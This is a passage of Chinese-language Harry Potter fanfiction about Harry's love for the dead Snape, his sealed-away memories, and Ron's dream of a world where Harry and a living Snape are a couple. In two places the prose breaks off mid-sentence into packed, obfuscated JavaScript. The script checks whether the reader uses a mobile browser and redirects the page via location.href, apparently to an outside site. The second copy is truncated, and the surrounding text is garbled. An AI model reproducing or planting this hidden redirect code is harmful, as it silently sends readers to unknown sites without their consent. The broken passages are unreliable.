“我曾经以为我是。可事实是,我爱上了西弗勒斯·斯内普。”哈利又闭上了眼睛。说出这个名字的时候,他感到某种奇异的解脱,同时也感到更深的绝望。因为现在不仅是他自己知道了,他最好的朋友们也都知道了这个荒谬的真相。 “不,不不不——”罗恩在房间里踱步,双手抓着头发,“这是我听过最疯狂的话!”他转向赫敏,像是寻求支持,“赫敏,你说句话啊!这不可能对吧?哈利怎么可能爱上斯内普?那个叫你难以忍受的万事通的人!那个——” “罗恩,我知道他做过什么。”赫敏制止道,她的目光一直没有离开哈利。 “那你怎么这么冷静?”罗恩几乎在咆哮,“哈利说他爱上了斯内普!斯内普!” 他忽然止住了咆哮,因为哈利站了起来。 哈利看了眼赫敏,“赫敏,你记得吗?在尖叫棚屋,他临死前说的——” “看着我。”赫敏轻声说,眼睛里忽然有了泪光。 “就是那句话。”哈利的声音在颤抖,“我做了两年多的噩梦。每晚都是血,每晚都是他的眼睛——” 他停下来,抓起滚到一边的酒瓶灌了一大口。这次赫敏没有阻止。 “那又怎样?”罗恩还在挣扎着理解,“很多人都做噩梦!这不代表——” “我为他的画像能挂进校长办公室奔走了两年,”哈利继续说,“收集证词,整理档案,一次次被拒绝,一次次重新申请。我的办公室里堆的不是案件,是关于他的一切。” “那是因为愧疚!”罗恩像抓住救命稻草,“你愧疚!所以你想补偿,想为他正名。因为你以前误解他,后来发现他是好人——” “我也这么以为。”哈利转过身看向他,“我告诉自己这是为了正义,为了还他清白。可是后来我发现,我在找他,在每一份文件里,每一个证词里。昨天金妮问我——她问我,为什么是他。在所有死去的人里,为什么只有他让我放不下。” 房间再次安静下来。克利切在阴影里嘟囔着什么关于“疯狂的主人”和“耻辱”的话。 罗恩的脸色变了又变,从红到白,从白到青,最后变成一种奇怪的灰色。“你爱上了斯内普。”他机械地重复,像是要通过说出口来理解这句话。“哈利·波特爱上了西弗勒斯·斯内普。” “可是他……他死了啊。”他最后说,好像这才是重点。 “对,一个死了的斯内普。”哈利补充,又喝了一口酒,“够讽刺吧?我花了七年恨他,然后在他死后才发现——”他没说完,因为他自己也不知道该怎么说。 赫敏擦了擦眼睛,走到哈利身边。她没说什么安慰的话,只是抱了一下他,轻轻拍了拍他的背。 罗恩还愣在那里,过了很久才说:“可是……他爱的是你妈妈啊。” “是啊。”哈利的笑容很苦涩,“而我只是碰巧有一双她的眼睛。” 他们沉默了很久。克利切悄悄退了出去,画像们也识趣地闭上了眼睛。 “哈利,”赫敏微微皱眉,“这不是你的错。感情这种事——” “很荒唐,我知道。” “我想说的是很复杂。”赫敏纠正他,“斯内普教授……他为你做了那么多。也许你的感情是——” “别试图理解了,赫敏。”哈利疲惫地靠回沙发背,“我自己都觉得不可思议。我怎么会爱上一个已经不在,而且也永远不可能爱我的人?” 罗恩在原地站了很久,然后他走到哈利面前。哈利以为他要再打自己一拳,但罗恩只是拍了拍他的肩膀,在他另一边重重地坐下。 “对不起。”他说,“打你的事。” “我活该。” “不,你不活该。只是……”罗恩挠挠头,“梅林啊,哈利,为什么偏偏是斯内普?” 哈利没有回答,因为他自己也不知道答案。 “妈妈怎么办?”罗恩突然想起了什么,“她还在等你去过生日。”他看了眼手表,惊叫出声,“这都快晚上9点了!” “帮我编个借口吧。”哈利说,“就说傲罗司有紧急任务。我……我过几天再去道歉。” “她会看出来的。”罗恩说,“她总是能看出来。” “不,别告诉她。”哈利的声音突然变得急切,“至少今天别说。她为我的生日忙了一整天……”他把脸埋在手里,“梅林啊,韦斯莱夫人一直盼着我和金妮能结婚。她把我当亲儿子一样。可我却——” “你不是故意的。”赫敏轻声说。 “但我还是伤害了金妮。”哈利抬起头,眼睛发红,“如果我早点发现,早点认清自己的感情……她值得更好的人,一个真正爱她的人。而不是——”他苦笑了一下,“不是一个爱上死人的疯子。” 赫敏怜悯地看着他。 “哈利,”她拿起茶几上那份未完成的申请信,转移了话题,“校董会的申请——” “又被拒了。”哈利指指茶几上的另一封拒绝信,“第八次。” “我们会继续努力的。”赫敏说,“我和麦格教授都会——” “为什么?”哈利抬头看她,“你们不觉得这很……不正常吗?” 赫敏和罗恩交换了一个眼神。 “是有点奇怪。”罗恩承认,“非常奇怪。但是……你是我最好的朋友。如果这对你很重要,那对我们也很重要。我是说,我们会帮你的。那个画像的事。” “即使是为了斯内普?” “即使是为了斯内普。”这句话成功让罗恩打了个哆嗦,“虽然我还是觉得很诡异。” 哈利看着他的两个最好的朋友,觉得眼眶发热。最后,他只说了两个字:“谢谢。” “哈利,”赫敏俯身抱了抱他,“生日快乐。” “是啊,”罗恩尴尬地说,“生日快乐,哥们。虽然这可能是你过得最糟的一个生日。” “不。”哈利说,想起了那些真正糟糕的生日——在楼梯间里,在女贞路,在逃亡中。“不是最糟的。” 三个二十岁的年轻人就这样坐在凌乱的客厅里,周围堆满了空酒瓶、羊皮纸,以及不知道能否成功的申请信,谁也没想着收拾一下。 这就是哈利·波特的二十岁生日。没有蛋糕,没有礼物,没有庆祝。只有一个终于被说出口的真相,和两个依然陪在他身边的朋友。 —————— 霍格沃兹的校长办公室里,夕阳透过窗户照在那些历任校长的画像上。他们都在假寐,或者至少装作在假寐。 “第十次申请。”麦格教授放下羊皮纸,摘下方形眼镜揉了揉鼻梁,“他们终于同意了,波特先生。虽然措辞依然……”她顿了顿,“不太友善。” 哈利接过信,快速扫了一眼。校董会的用词的确刻薄——“鉴于哈利·波特先生的反复坚持”、“考虑到避免进一步的争议”、“作为特殊情况处理”——但最后一行写得很清楚:同意西弗勒斯·斯内普的画像进入霍格沃兹校长办公室。 “他们同意了。”哈利说话时还有些恍惚。他为这一天奋斗了将近三年,可真的到来时,却不知道该有什么感觉。 “关于画像的绘制,”麦格教授建议,“我联系了几位著名的魔法肖像画家。温德林·威尔克斯愿意——” “不,谢谢你,教授。”哈利拒绝道,“可我已经找到了画师。” 麦格教授挑起眉毛。 “是一位麻瓜画家。”哈利说,注意到麦格教授的表情,“我知道这很不寻常,但是教授,斯内普教授走得太突然。我去了解过了,他根本没有为画像做任何准备。如果让画师凭印象来画,画出来的只是别人眼中的他。那不是真实的他……” “可是麻瓜的画像不会动,波特先生。” “我知道。” “它不能说话,不能给建议,不能——” “我知道。”哈利回答得很坚定,“但至少会有一幅画像。” 他没有告诉麦格教授的是,那个伦敦的麻瓜画家以为自己亲眼见过那个黑衣男人,以为那是哈利一个严肃的大学教授。混淆咒让一切变得简单。哈利选择了六年级时的记忆,那时斯内普刚成为黑魔法防御术教授,站在教室前是难得意气风发的样子。 麦格教授长长地看了他一眼,最后叹了口气:“如果这是你想要的。” 三个月后,画像完成了。 那是一个阴沉的下午,哈利独自站在办公室里,画像靠在墙边,刚刚取回不久。明天他就要把画像送去霍格沃兹挂起来了。 画中的斯内普穿着他标志性的黑色长袍,双手交叠在身前,黑眼睛直视前方。那个麻瓜画家技艺精湛——每一个细节都完美无瑕:鹰钩鼻的弧度,薄唇紧抿的角度,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210027|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神中的冷漠。 可它不会动。永远不会。 哈利伸出手,指尖几乎要碰到画布,又在最后一刻收回。 “我做到了。”他对着画像低声说,“他们终于承认你是霍格沃兹的校长。虽然只是‘临时’的,他们还不愿承认你的功绩,但是……至少你的画像会挂在这里。和邓布利多,还有历任校长在一起。” 哈利在画像前站了很久,久到夕阳西下,他才轻声呼唤道,“福克斯。” 金红色的凤凰从虚无中现身,落在他肩上。 “带我去冥想回廊。” 福克斯歪着头看他,发出一声询问的鸣叫。 “我知道你能做到。”哈利说,“你说过的,那扇水晶门可以保存记忆。” 福克斯的鸣叫变得忧伤。它扇动翅膀,金色的火焰包围了他们。下一刻,他们站在了那个圆形的大厅里,四扇门静静伫立。 “记忆潮汐。”哈利凝视着那扇水晶门,门上镶嵌的水晶簇在微光中静静闪烁,“它能保存最珍贵的记忆,是吗?” 福克斯变成了邓布利多的模样。 “是的。”它用邓布利多的声音说,“回廊守护者最重要、最珍贵的记忆都可以封存在这里。但是哈利,你要明白——” “我会忘记。”哈利说,“我知道。这和冥想盆不同。一旦封存,我就不会记得自己曾经拥有过这些记忆。” “不只是记忆。”邓布利多的形象说,“还有与之相连的感情。你确定要这么做吗?” 哈利闭上眼睛。他想起金妮眼中的悲伤,想起罗恩的震惊,想起赫敏的理解,还想起自己每晚的噩梦。他在记忆中描摹着那个永远不会动的画像,以及那双永远不会回应的黑眼睛。 “这是一份来得太晚的感情。”哈利的声音极轻,“他已经走了。可泰迪还需要我,凤凰社、魔法界重建……我还有那么多事情要做。罗恩和赫敏已经够担心我了,”他停顿了一下,“我不能一直活在这个影子里。” “所以你选择遗忘?”福克斯又问。 “不是遗忘。”哈利摇头,“是……保存吧。把它放在一个安全的地方,一个不会影响任何人的地方。这里,”他抬头望向水晶门,“这里够安全,够隐秘。它会一直在这里,即使我不记得。” “可是对西弗勒斯·斯内普呢?”邓布利多的形象温和地说,“你不觉得这些记忆也是属于他的一部分吗?也许有一天——” 哈利转向那张慈祥的脸。 “不会有那一天的。他永远不会知道。”他说,“而且即使知道了,他也不会在意。” “你知道吗?”哈利苦笑一声,“他让我看着他,看的也不过是我这双像我妈妈的眼睛。他要看的从来都不是哈利·波特。” 邓布利多的形象沉默了片刻:“也许吧。但无论如何,这是你的选择。如果你准备好的话——” “我准备好了。”哈利说,“这是最好的选择,对所有人都是。” 但福克斯已经变回了凤凰的形态,它轻轻啄了啄哈利的手。 哈利抽出魔杖,银色的记忆丝线从他的太阳穴缓缓流出——那些关于斯内普的梦,那些日夜的寻找,那些无法言说的思念,那些他甚至不敢承认的爱意。 记忆丝线飘向水晶门,门无声地打开了一条缝。光芒从门缝中流泻而出,温暖而忧伤。 “再见。”哈利轻声说,不知道是对记忆说,还是对那个永远不会回应的人说。 记忆丝线消失在门后,门缓缓关上。哈利眨了眨眼,茫然地看着四周。 “福克斯?”他困惑地说,“我们怎么会在这里?是你带我来的吗?” 凤凰悲伤地鸣叫了一声。 “我刚才做了什么?”哈利摸了摸额头,感觉有些晕眩,“我记得……画像?对,斯内普教授的画像完成了。然后呢?” 福克斯轻轻蹭了蹭他的手,金色的火焰再次包围了他们。 几天后,西弗勒斯·斯内普的画像正式挂进了霍格沃兹校长办公室。那是所有画像中唯一不会动的一幅,但哈利觉得这样就很好。毕竟,斯内普本来就是个特殊的存在。 哈利偶尔会去校长办公室。麦格教授总是在那里,坐在曾经属于邓布利多和斯内普的椅子上,处理着永远也做不完的文件。 “哈利。”她不知不觉间改了对他的称呼,抬起头,从方形眼镜后看着他,“来看他们?” “是的,教授。如果您不介意的话。” “当然不。”麦格教授说,“我正好要去图书馆。平斯夫人在抱怨学生又把禁书区的书弄乱了。”她站起来,整理着绿色的长袍,“慢慢聊,不用着急。” 她经过哈利身边时,会轻轻拍一下他的肩膀。这个动作一点也不像严肃的麦格教授,但哈利明白她的意思。 然后办公室里就只剩下哈利和墙上的画像们。他会和邓布利多聊聊天,说说傲罗司的事,说说泰迪的成长。邓布利多总是笑眯眯地听着,偶尔给些建议。 哈利还会在斯内普的画像前站一会儿,默默地看着那双黑眼睛。他不知道自己为什么要这么做,只是觉得应该这么做。 而有时候,他站得久了些,总会觉得那双不会动的黑眼睛似乎在等待着什么。等待什么呢?哈利不知道。 日子就这样过去了。哈利觉得自己过得挺好——工作顺利,泰迪健康成长。韦斯莱夫人知道了他和金妮分手的事,那天她拥抱他的时间格外长,什么都没说,只是拍了拍他的背。她依然坚持让他每个周末都去陋居吃饭。“你永远是我们家的一员,亲爱的。”她这么说,温暖的笑容依旧挂在她的脸上。 唯一奇怪的是,罗恩和赫敏有时会用一种他看不懂的眼神看着他。哈利总觉得他们好像在担心什么。 “怎么了?”他问了好几次。 “没什么。”他们总是这么说,然后迅速转移话题。 还有一次,他在整理照片时发现了一张二十岁生日那天的三人合影。照片里的他看起来憔悴不堪,眼睛红肿得厉害,嘴角还裂开了,一副倒霉的样子。奇怪的是,他完全不记得那天发生了什么不愉快的事。 “那天怎么了?”他问罗恩。 罗恩张了张嘴,又闭上了:“你……你不记得了?” “记得什么?” “没什么。”罗恩很快移开视线,“可能是任务太累了吧。” 哈利觉得他们在隐瞒什么,但又说不上来是什么。就像他怎么也想不起自己为什么和金妮分手了。 直到现在。 直到他站在这个保存记忆的温室中,小心地将那株属于他的水晶百合从花圃里取出,轻轻放入池中,注视着它化作纯粹的光流,融入他的体内。 那些被封存的情感开始渗透回来,起初只是涓涓细流,随后变成汹涌的潮水,填满了那个他甚至不知道存在的空洞。 原来如此。原来他曾经爱过,痛苦过,最后选择了遗忘。可谁也没想到,他还是再一次爱上了。 记忆的浪潮渐渐平息。 哈利睁开了眼睛。 127. 罗恩的噩梦 罗恩·韦斯莱觉得自己的脑袋像被游走球狠狠砸了一下。 “罗恩!快起床!”纳威·隆巴顿的圆脸凑到他面前,“今天有决斗俱乐部活动,我们说好要早点去练习的!” 他迷迷糊糊地睁开眼。决斗俱乐部?那不是二年级洛哈特搞出来的玩意儿吗?等等,纳威? 罗恩猛地坐起来,差点撞到纳威的鼻子。四柱床、格兰芬多的挂毯、熟悉的宿舍……梅林的胡子啊,他怎么回霍格沃茨了? 他抬起手揉揉眼睛,然后愣住了——这双手太小了,白白嫩嫩的,完全没有傲罗训练留下的老茧和伤疤。他急忙摸摸自己的脸,光滑得不可思议,下巴上连一根胡茬都没有。再看看身上的格兰芬多睡衣,袖子短得露出半截手臂。 这是小孩子的身体。 不对劲,这一切都不对劲。 罗恩闭上眼睛,努力回想。昨晚他和乔治在韦斯莱魔法把戏坊的后室里,两人围着那个新发明的“情人节惊喜烟花”。那玩意儿测试的时候在空中炸出一颗巨大的粉红色爱心,还会用走调的声音唱情歌,俗气得令人发指。 “这个肯定能大卖!”乔治当时得意地说,“你看看这效果!” 他们一直讨论到很晚,改进配方,调整颜色。罗恩本想回家的,但想到赫敏最近的脾气——怀孕后她变得像火龙一样易怒,上次他晚归十分钟就被念叨了整整一个小时。于是他决定在店里的储藏室将就一晚。 可现在他却出现在霍格沃茨,在格兰芬多塔楼,还变成了十二岁。 难道他之前的一切都是梦?打败伏地魔、当傲罗、和赫敏结婚、赫敏怀孕……这些全是他臆想出来的?他瘫回床上,感到一阵深深的失落。如果是梦的话,这个梦也太真实了,他甚至还记得赫敏早孕反应时对着他吐的那一幕。 一个棕色的脑袋伸进帐幔:“罗恩,快起床啦!赫敏肯定已经在礼堂等着了,不是说今天我们几个人先去练一下吗?” 罗恩呆呆地看着这颗棕色脑袋。这孩子看着有点眼熟,可他的舍友里没这号人啊。而且——哈利呢?哈利去哪儿了? 他魂不守舍地跟着这个棕发男孩往礼堂走。一路上他的脑子像坩埚里沸腾的魔药,各种念头咕嘟咕嘟地冒泡。 礼堂里,赫敏果然已经坐在格兰芬多长桌旁,面前的盘子几乎见底,正捧着一本厚得能砸死人的书在看。看到他们过来,她抬头直接瞪了罗恩一眼:“不是你说要一大早就去练习的吗,罗恩?” 罗恩支支吾吾地不知道该说什么。看着十二岁的赫敏,他心里泛起一股奇怪的感觉——既怀念又别扭。毕竟在他的“梦”里,他们已经结婚了。 “泰迪,”赫敏转向那个棕发男孩,“我觉得今天可以尝试一下障碍重重咒,我上次听到佩弗利尔教授说,他可能会在后面的俱乐部活动上教。” 泰迪?罗恩瞪大了眼睛。泰迪·卢平?哈利的教子?可他不是才五岁吗?怎么一下子长这么大了? “德拉科会来吗?”赫敏接着问,手上的书又翻了一页。 “我昨天跟他说了,他说会来的。”泰迪点点头,一边往面包上涂黄油。 德拉科?德拉科·马尔福?罗恩差点把刚喝进去的南瓜汁喷出来。马尔福跟他们一起练习决斗?这个世界的逻辑在哪里?下一秒是不是摄魂怪要来教他们守护神咒? “西比说他前两天和乔治、弗雷德夜游的时候,发现了一个新的废弃教室,”泰迪继续说,“就在天文塔的四楼,也许我们可以去那边?” 西比?又是一个罗恩完全不认识的名字。罗恩觉得自己像是突然被扔进了一本写错了的剧本,所有角色都在念他听不懂的台词。而最奇怪的是—— 他战战兢兢地开口:“赫敏,哈利呢?我怎么没见到他?” 赫敏和泰迪同时停下手里的动作,用一种既担忧又困惑的眼神看着他。那种眼神让罗恩脊背发凉,仿佛他问了一个不该问的问题。 气氛突然变得很奇怪。 还没等罗恩琢磨出自己说错了什么,旁边突然传来拉文德和帕瓦蒂兴奋的尖叫声:“果然!佩弗利尔教授和斯内普教授又一起来了!” 佩弗利尔?好像刚刚赫敏也提到过。 他机械地转向教工席。当他看清那个有着一头乱糟糟黑发和绿眼睛的年轻教授时,整个人大脑宕机了。 那是哈利!绝对是哈利! 可他坐在教工席上,还挨着……斯内普? “罗恩?罗恩!”赫敏在他眼前挥手,“你的脸色很差,要不要去找庞弗雷夫人看看?” 罗恩眼睁睁看着哈利往盘子里夹土豆,斯内普竟然主动递给他盐瓶。这个动作自然得好像他们每天都这么做。 “哈利他……”罗恩的声音像被掐住的曼德拉草。 泰迪在旁边小声说:“虽然他是我教父,可你也不能在大庭广众之下这么叫他啊。” 教父?所以这个看起来十二三岁的泰迪,真的是那个小泰迪? “如果斯内普教授脾气能一直这么好就好了,”赫敏一本正经地说,“最近纳威都不怕去上魔药课了。对吧,泰迪? ” 斯内普脾气好?罗恩怀疑自己出现了幻听。虽然看到活生生的斯内普已经够惊悚了——毕竟在他的世界里,这个人已经死了好几年——可斯内普脾气好?梅林啊,这个斯内普该不会是谁喝了复方汤剂假扮的吧? 泰迪支吾着不出声,拿叉子戳着盘子里的香肠,就是不敢看赫敏的眼睛。 赫敏翻了个白眼:“泰迪,你就别瞒了。你一撒谎头发就变色,这谁都看得出来。” “我的头发变色了吗?”泰迪惊恐地抓住自己的头发。 “我骗你的。”赫敏叹了口气,压低声音,“所以佩弗利尔教授和斯内普教授真的……?” 泰迪赶紧做了个嘘的手势:“哈利不想搞到学校所有人都知道。” “泰迪,”赫敏无奈地看着他,“昨天我都听到胖夫人在跟其他画像八卦了。她说看到两位教授在走廊里‘含情脉脉地对视’,虽然我觉得她用词有点夸张。整个城堡早就传遍了,连皮皮鬼都编了首歌,什么‘蝙蝠爱上了疤头,地窖里开出了花’,虽然押韵很糟糕,但他昨天晚上在走廊里唱了一路,一堆学生都听到了。” 咣当一声,罗恩手里的叉子掉在了盘子上,发出清脆的响声,引来周围几个学生的侧目。 “你说什么?”他的声音不受控制地拔高了八度。 “嘘!小声点!”赫敏狠狠踢了他一脚,“虽然基本上全校都知道了,但我们还是要假装不知道,这叫礼貌,懂吗?” “你刚刚说,哈……他们到底是怎么回事?”罗恩艰难地吞咽了一下。 赫敏给了他一个“你脑子进水了吗”的眼神:“昨天胖夫人八卦的时候你不是也在场吗?两位教授好像在谈恋爱。虽然他们自己大概以为掩饰得很好。” 罗恩觉得每个字都像是小精灵在他脑子里敲鼓。哈利和斯内普?谈恋爱?虽然哈利确实和他坦白过爱上了死去的斯内普。可那个斯内普死了啊! 这一定是噩梦,一个特别荒诞又可怕的噩梦。 “我需要去医疗翼冷静一下。”罗恩摇摇晃晃地站起来。 “等等,我们还要去练习呢!”泰迪拉住他的袖子,那双棕色的眼睛里满是困惑,“你今天真的很奇怪,罗恩。” 罗恩被拖着离开礼堂,忍不住回头看了最后一眼教工席。斯内普正侧头听哈利说话,哈利说了什么,斯内普居然笑了——虽然只是嘴角微微上扬,但他发誓他真的看到了。 罗恩觉得这个世界彻底疯了。 —————— 早餐后,他们在礼堂门口等齐了人。纳威、金妮、卢娜都来了——罗恩不知道为什么一年级的卢娜会跟他们混在一起,但他现在的震惊值已经满了,再也装不下更多。直到他看到德拉科·马尔福从斯莱特林的长桌走过来,加入了他们的队伍。 好吧,他的震惊值还能再涨一点。 但真正让他魂飞魄散的,是接下来出现的那个东西。 一个巴掌大的人偶,穿着黑袍子,黑头发垂下来,活生生就像是缩小版的斯内普。 “西比!”泰迪叫了一声,“你说的那个废弃教室在哪里?” 罗恩眼睁睁瞅着那个人偶灵活地爬上泰迪的肩膀。 “人……人……”他手指颤抖地指着它,差点撞翻了身后的盔甲架,“人偶!像斯内普的人偶!它……它会动!它在说话!” 那个迷你斯内普送了他一个白眼,“多么深刻的观察,韦斯莱。恭喜你终于掌握了识别活物的高深技能。现在,如果你的大脑还有余力处理更复杂的信息——往前走,第二个拐角左转。” “它还会嘲讽人!”罗恩怪叫。 “这是什么需要大声宣布的惊人发现吗?”西比不屑地斜睨他一眼,“接下来你是不是要宣布你是个巫师?” 罗恩的下巴快掉到了地上。一个长得像斯内普的人偶,还继承了他所有的刻薄。还有什么能让他更震惊的吗? 练习咒语的时候,他和马尔福被分成了一组。本来这种二年级的咒语对他来说毫无难度,可他实在太恍惚了,被马尔福的缴械咒击中了好几次。 “韦斯莱,你还好吗?”马尔福居然伸手来拉他,脸上还带着担心的表情,“需要休息吗?” 罗恩看着那只苍白的手。马尔福在关心他,赫敏、泰迪刚刚在和马尔福友好交谈,会说话的斯内普人偶在旁边冷嘲热讽,而哈利……哈利在和真正的斯内普谈恋爱。这个世界还有什么是不可能的? 到了下午的决斗俱乐部活动,罗恩已经麻木了。看到哈利和斯内普一起出现在台上,他甚至都懒得多惊讶一秒。 “洛哈特呢?”他随口问了一句。 泰迪奇怪地看了他一眼:“决斗俱乐部是哈利负责的啊。之前他还邀请过小天狼星来做助教呢,不过最近都是邀请西弗。” 西弗。泰迪叫斯内普西弗。 罗恩麻木地点点头。他现在急需某种烈性饮料来帮助自己接受这个疯狂的现实。可惜他只有十二岁的身体,厨房里的家养小精灵绝对不会给他火焰威士忌的。也许黄油啤酒?不,就算是在南瓜汁里偷偷加点也行啊。 梅林啊,他真的需要点什么来麻痹一下被震碎的神经。 活动开始后,罗恩和赫敏分在一组,但他的注意力完全不在练习上。他的眼睛像被施了永久粘贴咒,死死盯着在学生间巡视的哈利和斯内普。 斯内普正好走到他们这一组附近,停下来纠正一个赫奇帕奇学生的握杖姿势。早餐时隔着整个礼堂,罗恩还看不清楚,可现在斯内普就站在几步之外—— 斯内普的头发不油了!那头通常贴着头皮的黑发现在看起来居然柔顺而有光泽。而且,他的袖口露出了银色的袖扣。闪闪发光的银色袖扣,配在斯内普的黑袍上! 罗恩揉了揉眼睛,确认自己没有看错。这个斯内普居然会戴袖扣。 “罗恩,专心点!”赫敏低声提醒,一边挡下了他射偏的咒语。 但罗恩已经无法专心了。他发现斯内普的袍子好像也是新的,整个人看起来居然非常……体面? “注意你的姿势,韦斯莱。”似乎察觉到罗恩赤裸裸的眼神,斯内普冷冷地扫了他一眼。 罗恩赶紧低下头,下一秒又忍不住抬眼偷瞄。他悲哀地发现那两个人明明站得隔着半个礼堂,可每次擦肩而过时都会对视一眼。他甚至看到斯内普在经过哈利身边时,伸手帮他理了理袍子上的褶皱。 更可怕的是,哈利对着斯内普笑了。 罗恩倒吸一口凉气。他可太熟悉那种笑容了——五年级时哈利喜欢秋·张就是这样,后来和金妮在一起时也是。那种眼睛会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不——!” 罗恩发出了来自灵魂深处的哀嚎,整个人不受控制地向后跌去。 砰!他的后背重重撞在地板上,发出巨大的声响。 两人迅速分开。 “谁?”哈利的声音传来,接着是脚步声。 罗恩用这辈子最快的速度爬起来,转身就跑。他要逃离这个可怕的地方,逃离这个哈利和斯内普接吻的地狱,逃离这个完全不合逻辑的疯狂世界! “等等——”哈利在后面叫,“是罗恩吗?” 罗恩跑得更快了,他感觉自己从来没有跑得这么快过,连魁地奇比赛时都没有。他冲下楼梯,三步并作两步,完全忘记了霍格沃茨的楼梯有多么不可靠这件事。 脚下的楼梯突然开始移动。 “不不不不不——” 但是已经太晚了。罗恩一脚踩空,整个人失去平衡,然后以一种极其不优雅的姿势从楼梯上翻滚着摔了下去。 “啊啊啊啊啊!” 天旋地转,然后是一片黑暗。 —————— “罗恩!罗恩!醒醒!” 罗恩费力地睁开眼睛,首先看到的是一头标志性的红发。 “乔治?”他虚弱地说。 “谢天谢地你醒了!”乔治松了一口气,“你刚才突然滚下床,脑袋上撞了个大包。我还以为你中了什么诅咒呢。” 罗恩这才发现自己躺在韦斯莱魔法把戏坊的地板上。他摸摸自己的脸——胡子拉碴的,是成年人的脸。他看看自己的手——也是成年人的手。他又回来了。 “哈利来找你了,”乔治说,“在前面等着呢。” 罗恩的心里一惊。难道哈利也……? 他冲到店面,看到哈利正在研究货架上的商品。是他熟悉的哈利——穿着傲罗制服,看起来有点疲惫。 “罗恩,”哈利转过身,“你还好吗?脸色不太好。” “我……”罗恩张了张嘴。他想告诉哈利刚才看到的一切,那个奇怪的世界,那个哈利是教授、斯内普还活着、他们在谈恋爱的世界。可是现在想起来,那些画面已经开始模糊了,那个奇怪的梦境正在迅速褪色。 “做噩梦了?”哈利关切地问,“你满头大汗的。怎么,赫敏又不让你回家?”他开了个玩笑。 罗恩勉强笑了笑:“差不多吧。” 哈利奇怪地看了看他,“其实是赫敏让我来带你回家,她说有重要的事要宣布。” 罗恩看着眼前的哈利。在那个奇怪的世界里,哈利和斯内普在一起了。虽然很诡异,虽然让人想吐鼻涕虫,但是……哈利看起来很快乐。 “哈利,”罗恩突然说,“你快乐吗?” 哈利愣了一下:“什么?” “没什么,”罗恩摇摇头,“就是……你知道的,只要你快乐就好。不管是什么让你快乐。” 哈利用一种奇怪的眼神看着他:“罗恩,你确定你没事?要不要去圣芒戈?” “我很好,”罗恩拍拍他的肩膀,“真的。走吧,赫敏还在等我们呢。她要宣布什么?” “大概是孩子的性别吧。”哈利笑着说。 他们并肩走出商店。罗恩回头看了一眼,阳光照在橱窗上,映出两个人的倒影。一切都那么正常,那么真实。可罗恩知道,在他的记忆深处,永远会有一个角落存放着那个疯狂的梦—— 一个哈利是教授的世界,一个斯内普还活着的世界,一个他们相爱的世界。 哦对了,还有一个长得像斯内普的毒舌人偶。 罗恩摇了摇头,看了眼走在身旁的哈利,决定把这个秘密烂在肚子里。 毕竟,谁会相信斯内普会有银色袖扣呢? 128. 时间坟场 西弗勒斯·斯内普站在一片死寂的灰色平原上,脚下的土地干裂着向远方延伸,头顶是低垂的厚重乌云。紫色的闪电在云层深处蜿蜒,无声地撕裂黑暗,每一次闪光都将这片荒芜照得惨白。 他不知道自己为什么会在这里。福克斯把他们都拉进了回廊,然后呢?其他人在哪里? 哈利在哪里? 风声呼啸,卷起地面上的尘土,也吹得他的黑袍在空中猎猎作响。斯内普眯起眼睛,试图看清前方的景象,片刻的观察后,他选择了一个方向走去。 福克斯把他们分开了——那只该死的凤凰总是喜欢玩弄神秘。那扇通往守护者最珍贵记忆的水晶门,他几乎可以肯定,哈利就被送到了那里。 斯内普知道那扇门后藏着什么——他见过的,在那个寒冷的冬夜,当他为了救回昏迷的哈利而被福克斯带进回廊时。他看到了被刻意封存在最深处的银色丝线,那些记忆如毒药一般甜美,又像刀刃一样锋利——哈利爱着一个死去的人,一个为他流尽最后一滴血的西弗勒斯·斯内普。 可如果哈利想起了全部呢?当那份沉重的爱意回归,他们之间这份刚刚萌芽的亲密,也许会立刻画上休止符。 “你明知道他爱的是谁。他爱的是那个英雄,那个为他牺牲一切的人。”一个恶毒的声音从最阴森的角落爬出,在耳边低声蛊惑着他,“而你?你什么都没做过。你只是个小偷,偷走了不属于你的感情。等他记起一切,你觉得他还会看你一眼吗?” 斯内普狠狠甩了甩头。但他无法停止思考这个问题—— 这里的西弗勒斯·斯内普什么都没有经历过。没有那十几年的悔恨与赎罪,没有那些年在黑暗中默默守护哈利的艰难岁月。 当哈利想起自己真正爱的是谁,他会明白这一切从头到尾都是个错误。他们之间的每一刻,都是建立在遗忘上的谎言。而眼前这个斯内普,不过是个冒牌货,替代了亡者的位置—— “斯内普教授?” 斯内普猛然转身,手已经做出了施咒的姿势,随即想起自己没有魔杖。莱姆斯·卢平正朝他走来,褐色的袍子上沾满了尘土,看起来就和他一样的困惑和谨慎。 “卢平。”斯内普冷冷地说,收回了手。 “感谢梅林,终于碰到个人了。”卢平看起来松了口气,“看来福克斯把我们都分散了。这地方——”他环顾四周,“感觉不太好。” 斯内普没有作声,只是瞥了他一眼,径直转身朝另一个方向走去。他对和一个狼人结伴同行毫无兴趣。 “等等,”卢平快步跟上,“这里是冥想回廊内部?还是某扇门后面?你进来时也是这个样子吗?” 斯内普根本懒得搭理他。 “我觉得我们应该一起走。”卢平跟在他身后几步远,又小心地提议,“不管福克斯的意图是什么,把我们送到同一个地方总有原因。分开走不安全,还是一起走吧。” “我不需要一个跟班。” “我知道你不需要。”卢平的脚步声还是跟了上来,“说实话,和你在一起也不是我的首选。但是——” 一道紫色闪电劈在他们身前不过三步的地方。地面像被巨兽撕咬过一般裂开,碎石飞溅。两人同时后退一步。 “这地方好像不太欢迎独行者。”卢平抹了把额头的冷汗,平静地接完自己的话。 